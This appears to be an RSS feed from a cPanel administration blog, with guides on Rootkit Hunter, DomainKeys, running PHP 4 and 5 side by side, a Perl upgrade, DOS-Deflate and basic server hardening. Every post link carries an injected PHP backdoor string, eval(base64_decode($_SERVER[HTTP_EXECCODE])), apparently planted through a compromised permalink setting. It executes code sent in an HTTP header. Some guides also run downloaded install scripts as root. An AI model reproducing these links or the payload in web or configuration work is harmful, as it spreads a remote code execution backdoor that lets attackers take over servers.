cPanelConfig - cPanel server configuration guide » cpanel http://www.cpanelconfig.com The complete guide to setup and manage a cPanel based server Fri, 17 Jul 2009 11:15:39 +0000 http://wordpress.org/?v=2.8 en hourly 1 Install Rootkit Hunter (1.3) http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 16 Nov 2007 08:52:59 +0000 yolau http://www.cpanelconfig.com/cpanel-security-related-articles/install-rootkit-hunter-13/ What is Rootkit Hunter ?

Rootkit scanner is scanning tool to ensure you for about 99.9%* you’re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:

- MD5 hash compare
- Look for default files used by rootkits
- Wrong file permissions for binaries
- Look for suspected strings in LKM and KLD modules
- Look for hidden files
- Optional scan within plaintext and binary files

How to install?

  1. Login as root to your server
  2. Download the package and extract it

    3. wget http://prdownloads.sourceforge.net/rkhunter/rkhunter-1.3.0.tar.gz
    tar -xzf rkhunter*

  3. Run the installer

    4. cd rkhunter-*
    ./installer.sh –layout default –install

  4. Run rkhunter

    5. /usr/local/bin/rkhunter -c


Enjoy !

]]> http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 8 Installing DomainKeys on a cPanel server http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 14 Oct 2007 20:52:14 +0000 yolau http://www.cpanelconfig.com/cpanel-administration/installing-domainkeys-on-a-cpanel-server/ Delivering mail to yahoo and google is so hard those days. Almost every server has had this problem even if it is not used to relay spam.
Installing DomainKeys can help your server deliver “clean” emails directly to your user’s inbox.
What are DomainKeys?
Well you will find more information on this topic at: http://antispam.yahoo.com/domainkeys

Installation is simple and it’s done on a domain basis.

How to install DomainKeys on a specific domain.

  1. First check that you are running the latest version on RELEASE or CURRENT of cPanel 11.
  2. Run the script

    3. /usr/local/cpanel/bin/domain_keys_installer username

    Where username is the cPanel user.

If you get an error similar to “Domain keys are not installed on this machine.” you either are not running the latest release or current version of cPanel or you have not converted yet to maildir. Maildir conversion is required before you install DomainKeys.
You will find an article about converting to maildir on this site !

Ok, we just installed DomainKeys for a domain, but how about if we want to install it for all the domains (users)?
Well I found the solution just a few days ago on a public forum. Someone wrote a nice bash script that will parse all the cpanel users and then run the installation for each of them.

for i in `ls /var/cpanel/users` ;do /usr/local/cpanel/bin/domain_keys_installer $i ;done

Ok, but what about if we want that every new created account to have DomainKeys installed. Well this is a bit harder to do.
I recommend editing /scripts/postwwwacct and adding:

my %OPTS = @ARGV;
my $user = $OPTS{’user’};
/usr/local/cpanel/bin/domain_keys_installer $user

Now test this by creating a new account.

If you have any problems please don’t hesitate to leave a commnent here.

]]> http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 52 Running PHP 5 and PHP 4 on the same cpanel server http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 14 Oct 2007 19:54:13 +0000 yolau http://www.cpanelconfig.com/cpanel-administration/running-php-5-and-php-4-on-the-same-cpanel-server/ This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.
Although I personally don’t recommend this as it has many performance implications it’s something that small webhosts use so that they don’t have to have different servers for different php versions.

O k, let’s get started. Before I explain how to install it please note that part of this article is inspired by a post on Defender Hosting Forum (http://forums.defenderhosting.com/showthread.php?t=2103)

  1. Compiler check

    2. /scripts/checkccompiler
    rm -rf /home/cpphpbuild
    mkdir /home/cpphpbuild
    cd /home/cpphpbuild

  2. Download and extract php

    3. wget http://us2.php.net/get/php-5.2.4.tar.gz/from/this/mirror
    tar zfx php-5.2.4.tar.gz
    cd php-5.2.4

  3. Configure and build the php installation (credits go to elix for an excellent work)

    4. echo “#define HAVE_SENDMAIL 1″ >> /home/cpphpbuild/php-5.2.4/main/php_config.h
    wget http://www.elix.us/tutorials/php5.gen.cpanel
    chmod 700 php5.gen.cpanel
    ./php5.gen.cpanel
    make
    make install

  4. Moving the files and finishing the configuration

    5. cp -f /usr/local/php5/bin/php5 /usr/local/cpanel/cgi-sys/php5
    chown root:wheel /usr/local/cpanel/cgi-sys/php5

    cp -p /home/cpphpbuild/php-5.2.4/php.ini-recommended /usr/local/php5/lib/php.ini
    chown root.root /usr/local/php5/lib/php.ini
    chmod 644 /usr/local/php5/lib/php.ini

    echo “cgi.fix_pathinfo = 1 ; needed for CGI/FastCGI mode” >> /usr/local/php5/lib/php.ini

  5. Now we have to add a few lines to the httpd.conf file

    6. pico /usr/local/apache/conf/httpd.conf

    Add in the section – “index.php5″ before index.php4
    Add after “AddType application/x-httpd-php .phtml”

    Action application/x-httpd-php5 “/cgi-sys/php5″
    AddHandler application/x-httpd-php5 .php5

  6. Test the installation

    7. service httpd configtest

    If you get any errors please check that you done all the steps properly.
    If everything is ok you can now restart apache

  7. Restart apache

    8. service httpd restart

Now any files with the extension .php5 will be parsed by php 5 and all the other files will be parsed by your “normal” php 4 installation.

]]> http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 How to upgrade perl to v5.8.8 http://www.cpanelconfig.com/2007/09/26/how-to-upgrade-perl-to-v588/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/26/how-to-upgrade-perl-to-v588/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 26 Sep 2007 20:50:45 +0000 yolau http://www.cpanelconfig.com/how-to/how-to-upgrade-perl-to-v588/
Installing and running cPanel 11 require you to have perl v5.8.8. If you run an older version some things will not work properly (like spamassasin for example).
Do you need to upgrade?
YES if you running an older version.
How to check what version are you using?
Run:

perl -v

If you see anything like:

This is perl, v5.8.7 built for i686-linux

then you need to upgrade.

Upgrading is simple but I have seen a few problems in the past this is why I decided to write the how to.

  1. Download the cPanel perl installer

    2. wget http://layer1.cpanel.net/perl588installer.tar.gz

  2. Extract the archive

    3. tar zxvf perl588installer.tar.gz

  3. Run the installer

    4. cd perl588installer
    ./install

  4. Check perl modules

    5. /scripts/checkperlmodules

  5. Force a cPanel update

    6. /scripts/upcp –force

  6. Update perl information in user’s cPanel

    7. rm -rf /home/*/.cpanel;rm -rf /home/*/.cpanel-datastore

  7. Check the actual new perl version

    8. perl -v

    This should now output something like:

    This is perl, v5.8.8 built for i686-linux

]]> http://www.cpanelconfig.com/2007/09/26/how-to-upgrade-perl-to-v588/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 4 How to mitigate DOS atacks with DOS-Deflate http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 21 Sep 2007 21:40:41 +0000 yolau http://www.cpanelconfig.com/cpanel-security-related-articles/how-to-mitigate-dos-atacks-with-dos-deflate/
What is DOS-Deflate?

(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not only many web hosts, but by many people who run their own servers looking for additional security in dealing with such attacks. 

How to install 

Installing DOS-Deflate is one of the simplest out there.

  1. Login to your server as root
  2. Download the install script

    3. wget http://www.inetbase.com/scripts/ddos/install.sh

  3. Run the installer

    4. sh install.sh

DOS-Deflate should now be installed.

Please note that DOS-Deflate uses APF to ban IPs so you must have it installed for DOS-Deflate to work properly. I guide on how to install APF can be found here.

Customizing DOS-Deflate is very easy. You have to edit /usr/local/ddos/ddos.conf with your favorite editor for example

pico /usr/local/ddos/ddos.conf

Every setting is explained in the configuration file so I will not go over them as the explanations are quite easy to fallow up.

If you run into any problems please leave a comment here and I’ll try to help out.

]]> http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 8 How to determine the connection speed http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 18 Sep 2007 21:38:25 +0000 yolau http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/how-to-determine-the-connection-speed/
I’ve been asked this several times so I hope this little article will help many people.
The question is: how do I determine the connection speed negotiated with the switch?
Many ask this because they want to be sure that they are getting what they pay for.
Please note that this is will NOT determine your server max speed but rather it will tell you the connection speed negotiated with the switch.

Simply run as root:

mii-tool

This will output something like:

eth0: negotiated 100baseTx-FD, link ok

]]> http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5 Basic security configuration for a new cPanel server http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 17 Sep 2007 21:49:30 +0000 yolau http://www.cpanelconfig.com/cpanel-security-related-articles/basic-security-configuration-for-a-new-cpanel-server/ Note: This article is based on a Layeredtech knowledgebase article https://support.layeredtech.com/home/index.php?x=&mod_id=2&id=101

We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.

Basic Steps to Securing CPanel (Linux based OS):

These are items inside of WHM/Cpanel that should be changed to secure your server.

Goto Server Setup =>> Tweak Settings

Check the following items…

Under Domains
Prevent users from parking/adding on common internet domains. (ie hotmail.com, aol.com)

Under Mail
Attempt to prevent pop3 connection floods
Default catch-all/default address behavior for new accounts – blackhole

Under System
Use jailshell as the default shell for all new accounts and modified accounts

Goto Server Setup =>> Tweak Security
Enable php open_basedir Protection
Enable mod_userdir Protection
Disabled Compilers for unprivileged users.

Goto Server Setup =>> Manage Wheel Group Users
Remove all users except for root and your main account from the wheel group.

Goto Server Setup =>> Shell Fork Bomb Protection
Enable Shell Fork Bomb/Memory Protection

When setting up Feature Limits for resellers in Resellers =>> Reseller Center, under Privileges always disable Allow Creation of Packages with Shell Access and enable Never allow creation of accounts with shell access; under Root Access disable All Features.

Goto Service Configuration =>> FTP Configuration
Disable Anonymous FTP

Goto Account Functions =>> Manage Shell Access
Disable Shell Access for all users (except yourself)

Goto Mysql =>> MySQL Root Password
Change root password for MySQL

Goto Security and run Quick Security Scan and Scan for Trojan Horses often. The following and similar items are not Trojans:
/sbin/depmod
/sbin/insmod
/sbin/insmod.static

/sbin/modinfo
/sbin/modprobe
/sbin/rmmod

These are measures that can be taken to secure your server, with SSH access.

Udate OS, Apache and CPanel to the latest stable versions.

This can be done from WHM/CPanel.

Restrict SSH Access

Disable Shell Accounts

To disable any shell accounts hosted on your server SSH into server and login as root.

At command prompt type: locate shell.php

Also check for:

locate irc
locate eggdrop
locate bnc
locate BNC
locate ptlink
locate BitchX
locate guardservices
locate psyBNC
locate .rhosts

Note: There will be several listings that will be OS/CPanel related. Examples are

/home/cpapachebuild/buildapache/php-4.3.1/ext/ircg
/usr/local/cpanel/etc/sym/eggdrop.sym
/usr/local/cpanel/etc/sym/bnc.sym
/usr/local/cpanel/etc/sym/psyBNC.sym
/usr/local/cpanel/etc/sym/ptlink.sym
/usr/lib/libncurses.so
/usr/lib/libncurses.a
etc.

Disable identification output for Apache

To disable the version output for proftp, SSH into server and login as root.

At command prompt type: pico /etc/httpd/conf/httpd.conf

Scroll (way) down and change the following line to

ServerSignature Off

Restart Apache

At command prompt type: /etc/rc.d/init.d/httpd restart

Install chkrootkit

]]> http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1